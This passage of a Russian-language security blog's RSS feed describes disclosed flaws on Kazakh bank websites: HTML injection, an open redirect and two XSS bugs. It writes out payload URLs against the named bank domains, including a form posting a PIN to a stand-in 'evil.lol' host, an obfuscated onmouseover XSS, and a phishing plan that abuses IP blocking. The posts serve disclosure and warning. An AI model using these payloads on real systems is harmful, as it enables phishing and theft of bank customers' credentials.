я сообщил банку 20 дней назад. Предыдущий пост про Казком &lt;a href=&quot;https://caspicasoft.com/blog/2015/10/26/kazkom-html-injection-1&quot;&gt;здесь&lt;/a&gt;.
&lt;!--more--&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;HTML Injection&lt;/strong&gt; (внедрение кода) - это когда пользователь может вставлять HTML тэги в веб-приложение и изменить вид страницы или добавить новые элементы.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;На главной странице Homebank есть форма для смены пароля.
&lt;img src=&quot;/assets/images/kazkom-html-injection-2/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Сама форма отображается с помощью &amp;lt;iframe&amp;gt;, а ссылка на ресурс выглядит так:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?&lt;strong&gt;url&lt;/strong&gt;=https://www.homebank.kz/login/join/recard.htm?join-view=1&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Параметр &lt;strong&gt;url&lt;/strong&gt; отображается на странице без соответствующей обработки. Мы можем вставить текст &lt;em&gt;&amp;lt;h1&amp;gt;&lt;/em&gt; или ссылку &lt;em&gt;&amp;lt;a&amp;gt;&lt;/em&gt;. 
Пример:
&lt;img src=&quot;/assets/images/kazkom-html-injection-2/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Сайт банка блокирует такие тэги и атрибуты как &lt;em&gt;script, src, data&lt;/em&gt; и т. д., поэтому мы не можем показывать всплывающее окно с помощью &lt;em&gt;alert()&lt;/em&gt;. 
Однако, мы можем использовать тэг &lt;strong&gt;&amp;lt;dialog&amp;gt;&lt;/strong&gt;,чтобы создать всплывающее окно без javascript (браузерная &lt;a href=&quot;http://caniuse.com/#feat=dialog&quot;&gt;поддержка в Казахстане&lt;/a&gt; почти 55%).&lt;/p&gt;

&lt;p&gt;Результат такой ссылки&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?url=https://www.homebank.kz/login/join/recard.htm?join-view=1=1″/&amp;gt;&amp;lt;dialog open style=“background:red;color:#fff;font-size:1.5em;”&amp;gt;Homebank закрыт&amp;lt;br&amp;gt;Позвоните завтра.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;:(&amp;lt;/dialog&amp;gt;&amp;lt;!–&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kazkom-html-injection-2/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Можно также вставить свою форму, например как:&lt;/p&gt;

&lt;p&gt;&amp;lt;form action=&lt;strong&gt;//evil.lol&lt;/strong&gt;&amp;gt;&amp;lt;input name=“pin”&amp;gt;&amp;lt;/form&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kazkom-html-injection-2/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Когда пользователь заполнит и отправит форму, мошенникам остается только посмотреть логи сервера на &lt;strong&gt;evil.lol&lt;/strong&gt;. Там будет вся необходимая информация. 
Результат после нажатия кнопки SUBMEEET c последней картинки:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kazkom-html-injection-2/img4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;В итоге уязвимы:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?url=https://www.homebank.kz/login/join/card.htm?join-view=1&lt;/li&gt;
  &lt;li&gt;hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?url=https://www.homebank.kz/login/join/recard.htm?join-view=1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Как мы видим, нельзя недооценивать серьезность вставки кода, особенно на сайте банка. Надеюсь, что данное утверждение на сайте Homebank больше 
не будет ошибочным.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kazkom-html-injection-2/img5.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Будьте бдительнее.&lt;/p&gt;

</description>
        <pubDate>Mon, 23 Nov 2015 01:56:24 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2015/11/23/kazkom-html-injection-2</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2015/11/23/kazkom-html-injection-2</guid>
        
        
        <category>bank</category>
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Банк ЦентрКредит (Open Redirect)</title>
        <description>&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: Теперь исправлено&lt;/p&gt;

&lt;p&gt;Сегодня расскажу как мошенники могут связать вместе уязвимость и защиту сайта для контроля жертвы. О проблеме на домене 
&lt;strong&gt;www.bcc.kz&lt;/strong&gt; я сообщил пресс-службе 17 дней назад.
&lt;!--more--&gt;
У данного банка тоже были проблемы с мошенниками:
&lt;img src=&quot;/assets/images/bcc-open-redirect/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Open Redirect&lt;/strong&gt; (открытое перенаправление) – это редирект который позволяет использовать произвольный URL для конечной цели редиректа. 
Эта уязвимость используется мошенниками, чтобы заставить пользователей посетить фишинг сайты (не осознавая этого).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;На сайте есть различные рекламные баннеры.
&lt;img src=&quot;/assets/images/bcc-open-redirect/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Полная ссылка баннера: hxxp://www.bcc.kz/bitrix/rk.php?id=17&amp;amp;site_id=s1&amp;amp;event1=banner&amp;amp;event2=click&amp;amp;event3=1+%2F+%5B17%5D+%5BMAINBOT%5D+
main_bottom_ru_2&amp;amp;goto=&lt;strong&gt;http%3A%2F%2Fmastercard.kz%2F&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Если кликнуть на ссылку, то вы перейдете на другой сайт &lt;strong&gt;без каких либо предупреждений&lt;/strong&gt; как &lt;em&gt;”Вы покидаете сайт 
банка. Будьте осторожны.”&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Банк использует Битрикс (”профессиональная” система управления сайтом). На форуме битрикса пишут, что у 
продукта есть встроенная защита.
&lt;img src=&quot;/assets/images/bcc-open-redirect/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;В итоге уязвимы 3 файла (rk.php, click.php, redirect.php). Пример ссылок:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;hxxp://www.bcc.kz/bitrix/click.php?anything=here&amp;amp;goto=http://homebank.kz/&lt;/li&gt;
  &lt;li&gt;hxxp://www.bcc.kz/bitrix/rk.php?id=17&amp;amp;site_id=s1&amp;amp;event1=banner&amp;amp;event2=click&amp;amp;goto=http%3A%2F%2Fhomebank.kz%2F&lt;/li&gt;
  &lt;li&gt;hxxp://www.bcc.kz/bitrix/redirect.php?event1=click_to_call&amp;amp;event2=&amp;amp;event3=&amp;amp;goto=http://homebank.kz/&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;В то же время, атаки на западные банки используют полный комплекс. После того как мошенники перевели деньги, например, &lt;a href=&quot;https://portal.sec.ibm.com/mss/html/en_US/support_resources/pdf/Dyre_Wolf_MSS_Threat_Report.pdf&quot;&gt;Dyre Wolf&lt;/a&gt;, запускает мощную DDoS 
атаку (отказ в обслуживании) и перекрывает доступ к сайту банка.
&lt;img src=&quot;/assets/images/bcc-open-redirect/img3.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Так вот, многие сайты казахстанских банков не очень удобны. Если WAF (Web Application Firewall) банка заметит опасные тэги в URL, то ваш IP-адрес 
блокируется(!) и вы временно не можете зайти на сайт.
&lt;img src=&quot;/assets/images/bcc-open-redirect/img4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;“User-friendly” результат для пользователя:
&lt;img src=&quot;/assets/images/bcc-open-redirect/img5.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Если вы мошенник переживающий кризисные дни и не можете себе позволить DDoS, значит вам повезло.&lt;/p&gt;

&lt;p&gt;«Эконом вариант» атаки на пользователей банка:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Отправьте письмо с ссылкой на bcc.kz + редирект на фишинг сайт.&lt;/li&gt;
  &lt;li&gt;Заполучите логин/пароль и заставьте браузер жертвы сделать запрос на сайт банка с опасным тэгом в URL (теперь жертва
заблокирована банком).&lt;/li&gt;
  &lt;li&gt;???&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PROFIT!!!&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Как мы видим, open redirect может иметь серьезные последствия. Я также думаю, что неэффективно блокировать IP-адреса. Во-первых, 
мошенникам очень легко сменить IP-адрес. Во-вторых, ваш сайт все равно должен быть неуязвим к injection атакам.&lt;/p&gt;

</description>
        <pubDate>Thu, 12 Nov 2015 02:25:54 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2015/11/12/bcc-open-redirect</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2015/11/12/bcc-open-redirect</guid>
        
        
        <category>bank</category>
        
        <category>security</category>
        
        <category>openredirect</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Bank RBK (XSS)</title>
        <description>&lt;p&gt;Сегодня краткий пост про простую уязвимость на сайте банка. О проблеме я сообщил банку 2 недели назад.
&lt;!--more--&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;XSS&lt;/strong&gt; (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего 
разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;1) Домен &lt;strong&gt;hxxp://www.bankrbk.kz&lt;/strong&gt; не фильтровал параметры поиска. Забыл точный payload, но думаю проблему уже устранили.
&lt;img src=&quot;/assets/images/bank-rbk-xss/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;2) Интернет банкинг &lt;strong&gt;ib.bankrbk.kz&lt;/strong&gt; построен на ASP.NET и неправильно обрабатывает параметры ReturnUrl которые отображаются 
внутри тэга &lt;em&gt;&amp;lt;a&amp;gt;&lt;/em&gt;, в части кода для смены языка.&lt;/p&gt;

&lt;p&gt;Можно вставлять javascript код который будет выполнятся при клике или наведений мышкой. Пример:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;hxxps://ib.bankrbk.kz/Login.aspx?ReturnUrl=/&amp;amp;lang=EN%22%20onmouseover=%22alert%281%29%22%20&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/bank-rbk-xss/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Сервер блокирует символ &lt;strong&gt;&amp;lt;&lt;/strong&gt; в параметре ReturnUrl, но не блокирует javascript. Это значит можно использовать &lt;strong&gt;document.write()&lt;/strong&gt; 
и построить 
новую страницу из таблицы ASCII применив &lt;strong&gt;String.fromCharCode()&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Чтобы пользователь ничего не заметил, параметр ReturnURrl можно заполнить ненужным текстом.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;hxxps://ib.bankrbk.kz/Login.aspx?ReturnUrl=/../../../../../../../../../../../../../../../../../../../../../“onmouseover=&quot;
document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,39,104,116,116,112,115,58,47,47,105,46,105,109,103,117,114,46,99,111,
109,47,116,113,67,100,110,51,69,46,112,110,103,39,62))”&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/bank-rbk-xss/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;XSS аудиторы некоторых браузеров знают, что это reflected XSS и не будут выполнять код. Но многие другие, например Firefox и мобильные 
браузеры, запустят действие и наш payload.&lt;/p&gt;

&lt;p&gt;Мошенники &lt;a href=&quot;http://news.netcraft.com/archives/2008/01/08/italian_banks_xss_opportunity_seized_by_fraudsters.html&quot;&gt;используют&lt;/a&gt; XSS и другие уязвимости на сайтах банков с 2008 года. Непонятно, почему некоторые казахстанские и зарубежные 
банки до сих пор не избавились от простых уязвимостей в клиентской части. Будьте бдительны.&lt;/p&gt;

</description>
        <pubDate>Sun, 01 Nov 2015 08:51:19 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2015/11/01/bank-rbk-xss</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2015/11/01/bank-rbk-xss</guid>
        
        
        <category>bank</category>
        
        <category>security</category>
        
        <category>xss</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Жилстройсбербанк (XSS)</title>
        <description>&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; Теперь исправлено&lt;/p&gt;

&lt;p&gt;Сразу скажу, что я сообщил об этом дефекте разработчику сайта, ibecsystems, 16 дней назад. К сожалению, мое письмо осталось без ответа, а уязвимость 
не была устранена до сих пор. Сегодня напишу детали проблемы в учебных целях (может это как-то ускорит процесс).
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;Разработчики умеют делать все правильно: всегда проверять данные контролируемые клиентом и обрабатывать все параметры запросов на сервере. 
Также нужно уследить за библиотеками в клиентской части. В случае же Жилстройсбербанка, разработчики забыли сделать и первое и второе.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;XSS&lt;/strong&gt; (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте 
(без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;На сайте банка есть простой поиск. Давайте сделаем запрос:
&lt;img src=&quot;/assets/images/hcsbk-xss/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Посмотрим что у нас в коде страницы. Интересно, что текст запроса (включая опасные символы &lt;em&gt;“/&amp;gt;&lt;/em&gt;) появился в двух местах.
&lt;img src=&quot;/assets/images/hcsbk-xss/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Попробуем получить результаты поиска.
&lt;img src=&quot;/assets/images/hcsbk-xss/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Находим текст запроса без обработки.
&lt;img src=&quot;/assets/images/hcsbk-xss/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Что видит пользователя.
&lt;img src=&quot;/assets/images/hcsbk-xss/img4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Теперь можно сделать запрос с javascript. 
&lt;img src=&quot;/assets/images/hcsbk-xss/img5.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Но это слишком легко. К тому же, браузеры с XSS аудиторами, такие как Chrome и Opera, откажутся выполнять наш alert(), потому что скрипт, 
оказавшийся на странице, находился в параметре запроса.&lt;/p&gt;

&lt;p&gt;Нам лучше сосредоточится на этом участке кода с jQuery. Мы хотим выполнить код после &lt;em&gt;$(’.search’).val()&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Это значит нужно “пройти” все &lt;em&gt;$(’#search_results’).highlight()&lt;/em&gt; без ошибок.
&lt;img src=&quot;/assets/images/hcsbk-xss/img6.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Первая попытка. Результат такого запроса содержит ошибку и не выполняется браузером.
&lt;img src=&quot;/assets/images/hcsbk-xss/img7.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;После перебора нескольких вариантов, я смог найти хороший payload.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;hxxp://www.hcsbk.kz/ru/search?query=’);alert(“wow”);//&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/hcsbk-xss/img8.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Код выполняется без ошибок. Имейте ввиду, что в этом случае XSS аудитор браузера вам не поможет.
&lt;img src=&quot;/assets/images/hcsbk-xss/img9.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Кто-то может подумать
“&lt;em&gt;Туууй,тоже маған катастрофа! Это же главная страница банка, а не чей-то личный кабинет!&lt;/em&gt;”. &lt;/p&gt;

&lt;p&gt;Да, это не &lt;s&gt;ключ от квартиры, где деньги лежат&lt;/s&gt; личный кабинет, но близко.
К тому же я не смотрел код личного кабинета банка, но у меня плохое предчувствие: банк не поддерживает HTTPS. &lt;/p&gt;

&lt;p&gt;Если соединение небезопасно, это значит ваш ИИН, пароль и все что внутри кабинета видно всему свету (от браузера до сервера банка и обратно).
&lt;img src=&quot;/assets/images/hcsbk-xss/img10.png&quot; alt=&quot;image&quot; /&gt;
XSS это идеальное средство для мошенников.&lt;/p&gt;

&lt;p&gt;Отправьте письмо с ссылкой на сайт банка + xss payload. Когда пользователь заполнит форму и логин/пароль
от личного кабинета, эти данные попадут на сервер мошенников. Все это будет происходить на
сайте банка.&lt;/p&gt;

&lt;p&gt;ibecsystems нужно исправить этот дефект и проверить код сайта на другие проблемы.
Банк должен подумать о переходе на HTTPS и необходимости Content Security Policy.&lt;/p&gt;

&lt;p&gt;Раньше разработчики не воспринимали XSS всерьез, но сейчас все понимают, что XSS - это критическая уязвимость на стороне клиента. Позже я напишу пост
о том, что можно сделать с помощью браузера пользователя, XSS, и BeEF.&lt;/p&gt;

</description>
        <pubDate>Fri, 30 Oct 2015 07:45:27 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2015/10/30/hcsbk-xss</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2015/10/30/hcsbk-xss</guid>
        
        
        <category>bank</category>
        
        <category>security</category>
        
        <category>xss</category>
        
      </item>
    
  </channel>
</rss>
